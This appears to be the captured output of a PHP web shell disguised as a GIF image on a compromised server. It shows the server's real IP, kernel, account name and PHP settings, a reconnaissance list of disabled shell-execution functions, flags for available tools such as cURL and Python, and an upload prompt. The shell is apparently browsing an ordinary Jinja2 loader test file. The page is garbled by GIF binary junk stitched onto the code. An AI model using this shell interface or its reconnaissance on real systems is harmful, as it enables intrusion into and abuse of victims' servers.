GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 18.221.157.203 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /lib/python2.7/site-packages/jinja2/testsuite/ |
Upload File : |
# -*- coding: utf-8 -*- """ jinja2.testsuite.loader ~~~~~~~~~~~~~~~~~~~~~~~ Test the loaders. :copyright: (c) 2010 by the Jinja Team. :license: BSD, see LICENSE for more details. """ import os import sys import tempfile import shutil import unittest from jinja2.testsuite import JinjaTestCase, dict_loader, \ package_loader, filesystem_loader, function_loader, \ choice_loader, prefix_loader from jinja2 import Environment, loaders from jinja2._compat import PYPY, PY2 from jinja2.loaders import split_template_path from jinja2.exceptions import TemplateNotFound class LoaderTestCase(JinjaTestCase): def test_dict_loader(self): env = Environment(loader=dict_loader) tmpl = env.get_template('justdict.html') assert tmpl.render().strip() == 'FOO' self.assert_raises(TemplateNotFound, env.get_template, 'missing.html') def test_package_loader(self): env = Environment(loader=package_loader) tmpl = env.get_template('test.html') assert tmpl.render().strip() == 'BAR' self.assert_raises(TemplateNotFound, env.get_template, 'missing.html') def test_filesystem_loader(self): env = Environment(loader=filesystem_loader) tmpl = env.get_template('test.html') assert tmpl.render().strip() == 'BAR' tmpl = env.get_template('foo/test.html') assert tmpl.render().strip() == 'FOO' self.assert_raises(TemplateNotFound, env.get_template, 'missing.html') def test_choice_loader(self): env = Environment(loader=choice_loader) tmpl = env.get_template('justdict.html') assert tmpl.render().strip() == 'FOO' tmpl = env.get_template('test.html') assert tmpl.render().strip() == 'BAR' self.assert_raises(TemplateNotFound, env.get_template, 'missing.html') def test_function_loader(self): env = Environment(loader=function_loader) tmpl = env.get_template('justfunction.html') assert tmpl.render().strip() == 'FOO' self.assert_raises(TemplateNotFound, env.get_template, 'missing.html') def test_prefix_loader(self): env = Environment(loader=prefix_loader) tmpl = env.get_template('a/test.html') assert tmpl.render().strip() == 'BAR' tmpl = env.get_template('b/justdict.html') assert tmpl.render().strip() == 'FOO' self.assert_raises(TemplateNotFound, env.get_template, 'missing') def test_caching(self): changed = False class TestLoader(loaders.BaseLoader): def get_source(self, environment, template): return u'foo', None, lambda: not changed env = Environment(loader=TestLoader(), cache_size=-1) tmpl = env.get_template('template') assert tmpl is env.get_template('template') changed = True assert tmpl is not env.get_template('template') changed = False env = Environment(loader=TestLoader(), cache_size=0) assert env.get_template('template') \ is not env.get_template('template') env = Environment(loader=TestLoader(), cache_size=2) t1 = env.get_template('one') t2 = env.get_template('two') assert t2 is env.get_template('two') assert t1 is env.get_template('one') t3 = env.get_template('three') assert 'one' in env.cache assert 'two' not in env.cache assert 'three' in env.cache def test_dict_loader_cache_invalidates(self): mapping = {'foo': "one"} env = Environment(loader=loaders.DictLoader(mapping)) assert env.get_template('foo').render() == "one" mapping['foo'] = "two" assert env.get_template('foo').render() == "two" def test_split_template_path(self): assert split_template_path('foo/bar') == ['foo', 'bar'] assert split_template_path('./foo/bar') == ['foo', 'bar'] self.assert_raises(TemplateNotFound, split_template_path, '../foo') class ModuleLoaderTestCase(JinjaTestCase): archive = None def compile_down(self, zip='deflated', py_compile=False): super(ModuleLoaderTestCase, self).setup() log = [] self.reg_env = Environment(loader=prefix_loader) if zip is not None: self.archive = tempfile.mkstemp(suffix='.zip')[1] else: self.archive = tempfile.mkdtemp() self.reg_env.compile_templates(self.archive, zip=zip, log_function=log.append, py_compile=py_compile) self.mod_env = Environment(loader=loaders.ModuleLoader(self.archive)) return ''.join(log) def teardown(self): super(ModuleLoaderTestCase, self).teardown() if hasattr(self, 'mod_env'): if os.path.isfile(self.archive): os.remove(self.archive) else: shutil.rmtree(self.archive) self.archive = None def test_log(self): log = self.compile_down() assert 'Compiled "a/foo/test.html" as ' \ 'tmpl_a790caf9d669e39ea4d280d597ec891c4ef0404a' in log assert 'Finished compiling templates' in log assert 'Could not compile "a/syntaxerror.html": ' \ 'Encountered unknown tag \'endif\'' in log def _test_common(self): tmpl1 = self.reg_env.get_template('a/test.html') tmpl2 = self.mod_env.get_template('a/test.html') assert tmpl1.render() == tmpl2.render() tmpl1 = self.reg_env.get_template('b/justdict.html') tmpl2 = self.mod_env.get_template('b/justdict.html') assert tmpl1.render() == tmpl2.render() def test_deflated_zip_compile(self): self.compile_down(zip='deflated') self._test_common() def test_stored_zip_compile(self): self.compile_down(zip='stored') self._test_common() def test_filesystem_compile(self): self.compile_down(zip=None) self._test_common() def test_weak_references(self): self.compile_down() tmpl = self.mod_env.get_template('a/test.html') key = loaders.ModuleLoader.get_template_key('a/test.html') name = self.mod_env.loader.module.__name__ assert hasattr(self.mod_env.loader.module, key) assert name in sys.modules # unset all, ensure the module is gone from sys.modules self.mod_env = tmpl = None try: import gc gc.collect() except: pass assert name not in sys.modules # This test only makes sense on non-pypy python 2 if PY2 and not PYPY: def test_byte_compilation(self): log = self.compile_down(py_compile=True) assert 'Byte-compiled "a/test.html"' in log tmpl1 = self.mod_env.get_template('a/test.html') mod = self.mod_env.loader.module. \ tmpl_3c4ddf650c1a73df961a6d3d2ce2752f1b8fd490 assert mod.__file__.endswith('.pyc') def test_choice_loader(self): log = self.compile_down() self.mod_env.loader = loaders.ChoiceLoader([ self.mod_env.loader, loaders.DictLoader({'DICT_SOURCE': 'DICT_TEMPLATE'}) ]) tmpl1 = self.mod_env.get_template('a/test.html') self.assert_equal(tmpl1.render(), 'BAR') tmpl2 = self.mod_env.get_template('DICT_SOURCE') self.assert_equal(tmpl2.render(), 'DICT_TEMPLATE') def test_prefix_loader(self): log = self.compile_down() self.mod_env.loader = loaders.PrefixLoader({ 'MOD': self.mod_env.loader, 'DICT': loaders.DictLoader({'test.html': 'DICT_TEMPLATE'}) }) tmpl1 = self.mod_env.get_template('MOD/a/test.html') self.assert_equal(tmpl1.render(), 'BAR') tmpl2 = self.mod_env.get_template('DICT/test.html') self.assert_equal(tmpl2.render(), 'DICT_TEMPLATE') def suite(): suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(LoaderTestCase)) suite.addTest(unittest.makeSuite(ModuleLoaderTestCase)) return suite